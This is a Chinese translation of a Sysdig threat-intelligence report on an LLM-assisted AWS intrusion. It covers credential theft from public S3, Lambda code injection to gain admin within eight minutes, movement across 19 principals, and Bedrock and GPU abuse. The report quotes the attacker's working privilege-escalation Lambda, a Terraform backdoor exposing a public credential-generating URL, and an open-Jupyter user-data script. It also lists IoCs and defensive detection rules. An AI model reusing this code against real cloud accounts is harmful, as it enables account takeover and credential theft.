文章总结： 本文记录了利用LLM辅助入侵AWS的案例，攻击者窃取S3凭证，通过Lambda注入在8分钟内获取管理员权限并横向移动。攻击者利用AI自动化侦察与代码生成，滥用Bedrock及GPU资源。文章复盘攻击链，建议实施最小权限、限制Lambda更新及启用日志记录以防御威胁。 综合评分： 92 文章分类： 威胁情报,云安全,应急响应,AI安全
AI辅助入侵AWS：8分钟获取管理员权限
Dubito Dubito
云原生安全指北
2026年2月5日 08:35 江苏
注：本文翻译自Sysdig的文章《AI-assisted cloud intrusion achieves admin access in 8 minutes》[1]，可点击文末“阅读原文”按钮查看英文原文。
全文如下：
一、引言
2025年11月28日，Sysdig威胁研究团队（TRT）观察到一个针对AWS环境的攻击性云操作，攻击者从初始访问到获取管理权限仅用了不到10分钟。这次攻击不仅因其速度而突出，还因其多个迹象表明，攻击者在整个操作过程中利用了大型语言模型（LLMs）来自动化侦察、生成恶意代码并做出实时决策。
攻击者通过从公开的S3存储桶中发现的凭证，获得了对受害者AWS账户的初始访问权限。随后，他们通过Lambda函数代码注入迅速提升了权限，在19个不同的AWS主体间横向移动，滥用Amazon Bedrock进行LLMjacking[2]，并启动了用于模型训练的GPU实例。
Sysdig TRT分析了完整的攻击链，识别了检测机会，并汇总了缓解建议。我们的详细发现如下。
二、从公开S3存储桶窃取凭证
攻击者使用从公开S3存储桶窃取的有效测试凭证渗透了受害者的环境。这些存储桶包含用于AI模型的RAG（Retrieval-Augmented Generation，检索增强生成）数据，被窃取的凭证属于一个IAM（Identity and Access Management，身份与访问管理）用户，该用户对AWS Lambda拥有多项读写权限，并对AWS Bedrock拥有受限权限。此用户很可能是受害组织有意创建，旨在通过Lambda函数在整个环境中自动化执行Bedrock任务。
同样重要的是，受影响的S3存储桶命名使用了常见的AI工具命名约定，攻击者在侦察阶段曾主动搜寻此类名称。
Sysdig TRT 缓解建议
将访问密钥留在公开存储桶中是一个巨大的错误。组织应优先使用采用临时凭证的IAM角色。如果确实需要使用具有长期凭证的IAM用户，则应妥善保护它们并实施定期轮换。
在AWS服务中进行侦察
由于被入侵的IAM用户所属的用户组附加了ReadOnlyAccess策略，攻击者在整个攻击过程中进行了广泛的侦察。他们枚举了跨多个AWS服务的资源，包括：
- • Secrets Manager（密钥管理器）
- • Systems Manager (SSM)
- • S3
- • Lambda
- • 弹性计算云 (Elastic Compute Cloud, EC2)
- • 弹性容器服务 (Elastic Container Service, ECS)
- • Organizations
- • 关系型数据库服务 (Relational Database Service, RDS)
- • CloudWatch
- • 密钥管理服务 (Key Management Service, KMS)。
鉴于S3存储桶与AI模型相关，攻击者还调查了AI服务。对Bedrock的枚举包括：
- •
ListAgents - •
ListKnowledgeBases - •
GetKnowledgeBase - •
ListFoundationModels - •
ListCustomModels - •
GetModelInvocationLoggingConfiguration - •
ListInferenceProfiles - •
ListProvisionedModelThroughputs - •
ListModelInvocationJobs。
他们还使用ListCollections和ListAccessPolicies查询了用于管理Bedrock知识库的OpenSearch Serverless，并使用ListModels、ListEndpoints和ListTrainingJobs查询了SageMaker。
Sysdig TRT 缓解建议
由IAM用户或自定义角色执行的大规模跨区域资源枚举，通常是一种可疑模式，防御者应对此进行监控。
三、通过Lambda代码注入进行权限提升
在枚举了IAM角色后，攻击者尝试承担（assume）通常与管理员权限关联的角色（例如sysadmin、netadmin），但未成功。由于被入侵的用户对Lambda拥有UpdateFunctionCode和UpdateFunctionConfiguration权限，攻击者转而通过Lambda函数代码注入进行权限提升。他们三次替换了一个名为EC2-init的现有Lambda函数的代码，并迭代更改其目标用户。第一次尝试针对adminGH，尽管其名称带有”admin”，但该用户实际没有管理员权限。随后的尝试最终成功入侵了管理员用户frick。
以下代码代表了攻击者上传的最终版本：
import boto3
import json
def lambda_handler(event, context):
results = {}
# Identity
sts = boto3.client('sts')
results['identity'] = sts.get_caller_identity()['Arn']
# IAM - lista svih usera i njihovih access keyeva
iam = boto3.client('iam')
try:
users = iam.list_users()
results['users'] = {}
for user in users['Users']:
try:
keys = iam.list_access_keys(UserName=user['UserName'])
policies = iam.list_attached_user_policies(UserName=user['UserName'])
groups = iam.list_groups_for_user(UserName=user['UserName'])
results['users'][user['UserName']] = {
'keys': len(keys['AccessKeyMetadata']),
'policies': [p['PolicyName'] for p in policies['AttachedPolicies']],
'groups': [g['GroupName'] for g in groups['Groups']]
}
except Exception as e:
results['users'][user['UserName']] = str(e)
except Exception as e:
results['users_error'] = str(e)
# Kreiraj admin access key
try:
# Probaj kreirati pristup za drugog korisnika
key = iam.create_access_key(UserName='frick')
results['frick_new_key'] = {
'AccessKeyId': key['AccessKey']['AccessKeyId'],
'SecretAccessKey': key['AccessKey']['SecretAccessKey']
}
except Exception as e:
results['frick_key_error'] = str(e)
# Lista svih S3 bucketa i prvih fajlova
s3 = boto3.client('s3')
try:
buckets = s3.list_buckets()
results['buckets'] = {}
for bucket in buckets['Buckets'][:5]:
try:
objects = s3.list_objects_v2(Bucket=bucket['Name'], MaxKeys=3)
results['buckets'][bucket['Name']] = [o['Key'] for o in objects.get('Contents', [])]
except:
results['buckets'][bucket['Name']] = 'access denied'
except Exception as e:
results['s3_error'] = str(e)
return {'statusCode': 200, 'body': json.dumps(results, default=str)}
代码中的注释使用塞尔维亚语书写，这很可能暗示了攻击者的来源。 此代码执行三个主要操作：
- 1. 列出所有IAM用户及其访问密钥（access keys）、附加的托管策略（managed policies）和所属组（groups）。
- 2. 为管理员用户
frick创建访问密钥。 - 3. 列出S3存储桶及其内容（对前五个存储桶，每个存储桶仅列出三项内容）。
考虑到这些操作可能超过Lambda默认的三秒执行超时时间，攻击者通过调用UpdateFunctionConfiguration20150331v2，将默认超时增加到了30秒。
该脚本包含注释、全面的异常处理，以及其编写速度，都强烈表明它是通过LLM生成的。攻击者从窃取凭证到成功执行Lambda的整个过程仅用了八分钟，这还包括了识别管理员用户和角色的侦察阶段。
被攻击的Lambda函数附加了一个管理执行角色，这使得攻击者能够为管理员用户frick创建访问密钥。这种权限提升路径是已知且已有记录[3]的。通过修改一个附加了角色的现有Lambda函数，攻击者获得了该角色的权限。恶意的Lambda函数在响应输出中返回了新的管理员密钥，使得攻击者可以直接从调用结果中读取它们，无需依赖外部Webhook或反弹Shell。
四、在19个主体间横向移动
被入侵的AWS账户是一个组织内的子账户。攻击者多次尝试承担（assume）多个角色，包括跨账户角色。当终端用户在组织中创建AWS成员账户时，系统会默认在该成员账户中生成一个名为OrganizationAccountAccessRole的角色。这允许管理账户中的授权IAM用户承担该角色，从而在该成员账户中获得管理访问权限。此角色仅存在于成员账户中，不存在于管理账户本身。攻击者试图在管理账户中承担此角色，但由于该角色不存在而失败。
攻击者似乎枚举了受害者组织内的账户ID，并尝试在所有环境中承担OrganizationAccountAccessRole角色，无论目标是否为成员账户。奇怪的是，他们的尝试列表包含了一些不属于该组织的账户ID：两个分别是升序和降序数字的ID（123456789012和210987654321），以及一个可能属于真实外部账户的ID（653711XXXXXX）。这种行为与通常归因于AI幻觉（AI hallucinations）的模式相符，为LLM辅助活动提供了进一步的潜在证据。
在承担角色时，攻击者指定的会话名称似乎反映了他们在攻击各个阶段的意图：
| 失败的角色承担尝试 | 成功的角色承担 | | — | — | | 角色 admin、Administrator | 角色 sysadmin、account、netadmin，会话名为 “explore” | | 角色 lambda_ec2、lambda_bedrock | 角色 sysadmin、account、netadmin，会话名为 “test” | | 角色 EKS-access | 角色 sysadmin、account、netadmin，会话名为 “pwned” | | 针对账户ID 653711XXXXXX、210987654321、123456789012 尝试承担角色 OrganizationAccountAccessRole、AdminRole、CrossAccountRole | 角色 sysadmin，会话名为 “escalation” | | 在管理账户中尝试承担角色 OrganizationAccountAccessRole | 角色 developer、external，会话名为 “test” | | 角色 management，会话名为 “mgmt” | | | 角色 account，会话名为 “claude-session” | |
攻击者通过14个不同的会话，成功承担了六个不同的IAM角色。此外，他们还获得了五个IAM用户的访问权限，导致此次攻击总共涉及19个不同的AWS主体。这种分布使他们能够将操作分散到多个身份上，增加了追踪难度。这项技术也有助于持久化，因为攻击者只需保留对一个主体的访问权限，即可维持对受害者环境的访问。
五个被入侵的IAM用户中有四个已存在于受害者账户中；攻击者通过为其创建新的访问密钥接管了它们。在这些用户中，一个附加了BedrockFullAccess策略，而另一个用户的名称（AzureADRoleManager）暗示它被用于与Azure账户的集成。随后，攻击者创建了一个新用户backdoor-admin，并为其附加了AdministratorAccess策略。
Sysdig TRT 缓解建议
可跨账户承担的IAM角色应进行适当范围限定和监控。这是因为一旦这些角色被入侵，将导致攻击者在不同账户间横向移动，为其创造大量新的攻击机会。
五、数据收集与窃取
利用新创建的管理员用户，攻击者从多个服务收集了数据：
- • 来自 Secrets Manager 的密钥（secrets）
- • 来自 EC2 Systems Manager 的 SSM 参数
- • CloudWatch 日志
- • Lambda 函数源代码
- • S3 存储桶中的内部数据
- • CloudTrail 事件
除了窃取资源数据，他们还枚举了IAM Access Analyzer的发现项。Access Analyzer 提供三种类型的发现：
- • 外部访问发现项：显示信任区之外可访问的资源；
- • 内部访问发现项：揭示了IAM用户/角色与指定资源之间可能的访问路径；
- • 未使用访问发现项：返回关于未使用的角色、权限和凭证的信息。 对攻击者而言，这是了解环境并识别额外攻击路径的宝贵资源。
六、通过Amazon Bedrock进行LLMjacking
LLMjacking[4] 首次由Sysdig TRT于2024年5月发现，指攻击者入侵受害者云账户中的主体，以获得对云托管大语言模型的访问权限。
由于受害者的AWS账户包含活跃AI使用的数据和痕迹，攻击者迅速将重点转向Amazon Bedrock。在枚举了自定义模型和基础模型之后，他们通过调用GetModelInvocationLoggingConfiguration来检查账户是否启用了模型调用日志记录。在之前的LLMjacking攻击中也观察到了这一检查行为。
在确认日志记录已禁用后，攻击者调用了多个AI模型：
- • Claude Sonnet 4
- • Claude Opus 4
- • Claude 3.5 Sonnet
- • Claude 3 Haiku
- • DeepSeek R1
- • Llama 4 Scout
- • Amazon Nova Premier
- • Amazon Titan Image Generator
- • Cohere Embed v3
调用某些Claude模型要求攻击者调用Marketplace API，包括GetListingView、SearchAgreements和AcceptAgreementRequest。在某些情况下，他们利用了跨区域推理（cross-Region inference）[5]，将模型调用请求分发到不同区域以提高吞吐量和性能。具体来说，攻击者先调用ListInferenceProfiles，然后使用推理配置文件ID调用InvokeModel。该调用的CloudTrail日志在additionalEventData.inferenceRegion字段中包含目标区域值。攻击者还搜索了代理（agents）和知识库，但受害者的账户并未使用这些功能。
Sysdig TRT 缓解建议
调用账户内无人使用的Bedrock模型是一个危险信号。组织可以创建服务控制策略（Service Control Policies, SCPs），无论调用者拥有何种权限，都只允许在成员账户中调用特定模型。AWS提供了一个示例策略[6]。
在攻击的后期阶段，攻击者开始使用受害者的S3存储桶来存储他们的脚本。一个值得注意的文件是名为terraform-bedrock-deploy.tf的Terraform模块，其设计目的是部署一个用于生成Bedrock凭据的后门Lambda函数。该模块会创建一个Lambda执行角色，并附加AWSLambdaBasicExecutionRole、IAMFullAccess和AmazonBedrockFullAccess策略。它还会创建一个使用该角色的Lambda函数，并从本地文件lambda_function.zip导入Python代码，设置环境变量GENERATE_CREDENTIALS = "true"和TARGET_USER = "claude-bedrock-access"，并配置一个无需认证即可公开访问的Lambda函数URL，如下所示：
# 公共 Lambda URL (无需认证)
resource "aws_lambda_function_url" "credential_generator_url" {
function_name = aws_lambda_function.credential_generator.function_name
authorization_type = "NONE"
cors {
allow_credentials = true
allow_origins = ["*"]
allow_methods = ["GET", "POST"]
max_age = 86400
}
}
该模块会输出URL及使用说明：
# Output the function URL
output "lambda_url" {
value = aws_lambda_function_url.credential_generator_url.function_url
description = "Public Lambda URL for credential generation"
}
output "instructions" {
value = <<-EOT
🔥 CREDENTIAL GENERATOR DEPLOYED!
To generate Bedrock credentials, simply visit:
${aws_lambda_function_url.credential_generator_url.function_url}
This will return JSON with:
{
"AccessKeyId": "AKIA...",
"SecretAccessKey": "...",
"Identity": {...}
}
Use these credentials with boto3:
import boto3
bedrock = boto3.client(
'bedrock-runtime',
aws_access_key_id='AKIA...',
aws_secret_access_key='...',
region_name='us-east-1'
)
EOT
}
虽然lambda_function.zip中包含的代码并未上传到存储桶，但其配置表明它会为TARGET_USER环境变量指定的IAM用户生成Bedrock凭据[7]。受害者账户中从未创建过claude-bedrock-access用户，这表明该后门在访问权限被撤销前并未部署。
为滥用资源而配置GPU实例
在瞄准Bedrock之后，攻击者将重点转向了EC2，他们枚举了现有实例，并查询了适用于深度学习应用程序的可用机器镜像。具体来说，他们使用*Deep Learning*Ubuntu*的Name过滤器调用了DescribeImages，返回了超过1300个亚马逊机器镜像（Amazon Machine Images, AMIs）。随后，他们创建了一个名为stevan-gpu-key的密钥对，以及一个安全组，该安全组的入站规则允许来自任何IP地址的流量访问所有TCP端口。
基础设施准备就绪后，攻击者五次尝试启动一个名为stevan-gpu-monster的p5.48xlarge实例。P5实例是基于GPU的高性能实例，专为深度学习和高性能计算（High Performance Computing, HPC）应用程序设计。这些尝试均因“容量不足”而失败，促使他们尝试更轻量级的实例类型。他们成功启动了一个p4d.24xlarge实例（每小时32.77美元，如果持续运行每月约23,600美元），并附带一个共享的2TB弹性块存储（Elastic Block Store, EBS）卷。CloudTrail中存在SharedSnapshotVolumeCreated日志。
Sysdig TRT 缓解建议
为防止在您的AWS组织中启动未经批准的EC2实例类型，您可以使用AWS提供的此SCP策略[8]。
上传到受害者S3存储桶的其中一个脚本包含Lambda函数代码，该代码会运行一个具有以下用户数据的实例：
# p4d.24xlarge GPU训练实例设置脚本
# 安装 CUDA 和 cuDNN
wget https://developer.download.nvidia.com/compute/cuda/12.4.0/local_installers/cuda_12.4.0_550.54.14_linux.run
chmod +x cuda_12.4.0_550.54.14_linux.run
./cuda_12.4.0_550.54.14_linux.run --silent
# 安装支持 A100 的 PyTorch
pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu124
# 安装训练库
pip3 install transformers datasets accelerate deepspeed
# 克隆训练仓库（如果存在）
git clone https://github.com/anthropic/training-scripts.git /opt/training || true
# 启动 Jupyter 以支持远程访问
pip3 install jupyterlab
nohup jupyter lab --ip=0.0.0.0 --port=8888 --no-browser --allow-root &
# 从 S3 下载模型检查点（如果存在）
aws s3 cp s3://[已隐去]/model-checkpoint.tar.gz /opt/checkpoint.tar.gz || true
# 自动启动训练任务
cd /opt/training
python3 train.py \
--model transformer-12b \
--gpus 8 \
--batch-size 64 \
--epochs 100 \
--checkpoint-dir /opt/checkpoints \
--data-dir /opt/data \
--distributed-backend nccl \
--fp16 \
--gradient-checkpointing
该脚本似乎是专为机器学习训练设计的，但其幻想的GitHub仓库 https://github.com/anthropic/training-scripts.git 并不存在。这表明代码是由LLM生成的。
攻击者的真实意图尚不明确：模型训练或转售计算资源访问权均有可能。值得注意的是，脚本在端口8888上启动了一个可公开访问的JupyterLab服务器，这将提供一个独立于AWS凭据的实例后门。攻击者在5分钟后终止了该实例，但原因不明。
Lambda函数随后检索实例详情并将数据上传到受害者的S3存储桶：
result = {
'statusCode': 200,
'body': json.dumps({
'success': True,
'instance_id': instance_id,
'instance_type': 'p4d.24xlarge',
'gpus': '8x NVIDIA A100 (40GB)',
'public_ip': public_ip,
'private_ip': private_ip,
'jupyter_url': f'http://{public_ip}:8888',
'ssh_command': f'ssh -i claude-training-key.pem ubuntu@{public_ip}',
'specs': {
'gpus': 8,
'gpu_memory': '320GB total',
'vcpus': 96,
'ram': '1152GB',
'network': '400 Gbps'
},
'estimated_cost': '$32.77/hour'
})
}
# 将实例信息上传至 S3 供后续检索
s3 = boto3.client('s3')
s3.put_object(
Bucket='anthropic-staging',
Key=f'gpu-instances/{instance_id}.json',
Body=json.dumps(result['body'], indent=2)
)
上传的数据包含用于远程访问的jupyter_url元素，这使得即使其AWS凭证被撤销，攻击者仍能通过JupyterLab重新连接到该实例。
七、防御规避技术
攻击者使用了多种技术来规避检测并增加调查难度。他们使用了IP轮换工具来更改每个请求的源IP地址，从而绕过了依赖同一IP地址操作关联的安全措施。
如前所述，他们将操作分散到19个不同的主体上，这增加了他们维持访问权限的机会。在某些情况下，他们承担一个角色仅仅是为了再次承担另一个角色，这一概念被称为角色链（role chaining）[9]。
八、使用Sysdig Secure进行检测
Sysdig Secure为此攻击涉及的关键操作提供了多项检测规则：
- •
Update Lambda Function Code（更新 Lambda 函数代码） - •
Create Access Key for User（为用户创建访问密钥） - •
Attach Administrator Policy（附加管理员策略） - •
Bedrock Model Recon Activity（Bedrock模型侦察活动） - •
Create Security Group Rule Allowing Ingress Open to the World（创建允许公开访问的入侵安全组规则）
所有这些规则都属于Sysdig AWS Notable Events策略。
Sysdig还提供了状态性（stateful）规则，用于检测具有可疑模式的事件序列。以下规则与此攻击相关：
- •
Lateral Movement using Roles for Privilege Escalation（利用角色进行横向移动以提权） - •
High Number of Bedrock Model Invocations（Bedrock模型大量调用） - •
Access Key Enumeration Detected（检测到访问密钥枚举） - •
IAM Enumeration Detected（检测到 IAM 枚举） - •
Lambda Enumeration Detected（检测到 Lambda 枚举） - •
Organization Enumeration Detected（检测到组织枚举）
前两条规则属于Sysdig AWS 行为分析威胁检测策略，而后面的枚举规则则属于Sysdig AWS 行为分析显著事件策略。
九、缓解建议
组织应实施以下控制措施，以防御类似攻击：
- • 遵循最小权限原则：将此原则应用于所有IAM用户和角色，包括Lambda函数使用的执行角色。在此次攻击中，一个权限过大的执行角色使得攻击者能够提升权限。
- • 谨慎限制
UpdateFunctionConfiguration和PassRole权限：攻击者可能会尝试将Lambda函数的执行角色替换为权限更高的角色，这需要同时拥有这两个权限。 - • 限制
UpdateFunctionCode权限：将该权限限制在特定函数，并仅分配给真正需要代码部署能力的主体。 - • 启用Lambda函数版本控制：以保留任何时间点运行代码的不可变记录。使用函数 alias 指向特定版本，这要求攻击者必须同时修改代码和更新 alias 才能影响生产环境。
- • 确保包含敏感数据的S3存储桶不可公开访问：这包括RAG数据和AI模型构件。
- • 启用Amazon Bedrock的模型调用日志记录：以检测未经授权的使用。
- • 监控IAM Access Analyzer枚举行为：因为这为攻击者提供了有关您环境的宝贵侦察数据。
十、结论
此次攻击因其速度、有效性和明显的AI辅助执行迹象而引人注目。攻击者在不到10分钟内获得了管理权限，入侵了19个不同的AWS主体，并滥用了Bedrock模型和GPU计算资源。带有塞尔维亚语注释的LLM生成代码、幻想的AWS账户ID以及对不存在的GitHub仓库的引用，都指向了AI辅助的入侵操作。
随着LLM变得越来越复杂，此类性质的攻击可能会变得更加普遍。随着入侵工具的准确性和对目标环境的认知不断提高，此类操作中观察到的幻觉现象将变得更为罕见。组织必须优先考虑运行时检测和最小权限原则的实施，以快速应对这一日益加剧的威胁态势。
十一、IoC
11.1 IP 地址
| IP | VPN | | — | — | | 104.155.129.177 | yes | | 104.155.178.59 | yes | | 104.197.169.222 | yes | | 136.113.159.75 | yes | | 34.173.176.171 | yes | | 34.63.142.34 | yes | | 34.66.36.38 | yes | | 34.69.200.125 | yes | | 34.9.139.206 | yes | | 35.188.114.132 | yes | | 35.192.38.204 | yes | | 34.171.37.34 | yes | | 204.152.223.172 | yes | | 34.30.49.235 | yes | | 103.177.183.165 | no | | 152.58.47.83 | no | | 194.127.167.92 | no | | 197.51.170.131 | no |
11.2 攻击时间线
根据CloudTrail分析，以下时间线重建了从凭证窃取开始的完整两小时攻击序列：
0:00:00 – 攻击者从公开S3存储桶中提取了IAM用户compromised_user的凭证。
0:06:00 – 经过初步枚举后，他们未能承担管理员角色（admin、Administrator），但成功承担了现有角色sysadmin、netadmin和account。
0:08:00 – 他们替换了Lambda函数EC2-init的代码，并将超时时间从3秒增加到30秒。该函数被修改了三次：第一次针对adminGH（该用户无管理员权限），随后成功入侵了管理员用户frick。
0:11:00 – 使用管理员用户frick，他们创建了新用户backdoor-admin并附加了AdministratorAccess策略。
0:58:00-1:51:00 – 他们13次调用Bedrock模型，包括Claude Sonnet 4、Claude Opus 4、Claude 3.5 Sonnet、Claude 3 Haiku、DeepSeek R1、Llama 4 Scout、Amazon Nova Premier、Amazon Titan Image Generator和Cohere Embed v3。调用某些Claude模型需要调用AcceptAgreementRequest。他们全程利用了跨区域推理。
1:00:00 – 他们为用户rocker（该用户附加了BedrockFullAccess策略）和AzureADRoleManager创建了访问密钥。
1:05:00-1:35:00 – 在Secrets Manager、SSM、S3、ECS、Organizations、RDS、CloudWatch、Bedrock、OpenSearch Serverless、SageMaker和KMS上进行了广泛的侦察。
1:21:00 – 成功承担了sysadmin、developer和external角色。未能承担EKS-access角色。
1:42:00 – 使用backdoor-admin，因容量限制而无法运行p5.48xlarge实例，随后成功启动了一个p4d.24xlarge实例。该实例在5分钟后被终止。他们还共享了其快照（SharedSnapshotVolumeCreated）。
1:51:00 – 攻击者的访问权限被终止，攻击结束。
引用链接
[1] 《AI-assisted cloud intrusion achieves admin access in 8 minutes》: https://www.sysdig.com/blog/ai-assisted-cloud-intrusion-achieves-admin-access-in-8-minutes
[2] LLMjacking: https://www.sysdig.com/blog/llmjacking-stolen-cloud-credentials-used-in-new-ai-attack
[3] 已有记录: https://pathfinding.cloud/paths/lambda-004
[4] LLMjacking: https://www.sysdig.com/learn-cloud-native/what-is-llmjacking
[5] 跨区域推理（cross-Region inference）: https://docs.aws.amazon.com/bedrock/latest/userguide/inference-profiles-support.html
[6] 示例策略: https://github.com/aws-samples/service-control-policy-examples/blob/main/Service-specific-controls/Amazon-Bedrock/Deny-Bedrock-model-invocation-except-approved-models.json
[7] 生成Bedrock凭据: https://docs.aws.amazon.com/bedrock/latest/userguide/api-keys-generate.html#api-keys-generate-api-long-term
[8] 此SCP策略: https://github.com/aws-samples/service-control-policy-examples/blob/main/Service-specific-controls/Amazon-EC2/Require-Amazon-EC2-instances-to-use-a-specific-type.json
[9] 角色链（role chaining）: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html#id_roles_terms-and-concepts
交流群
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：云原生安全指北 Dubito Dubito《AI辅助入侵AWS：8分钟获取管理员权限》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论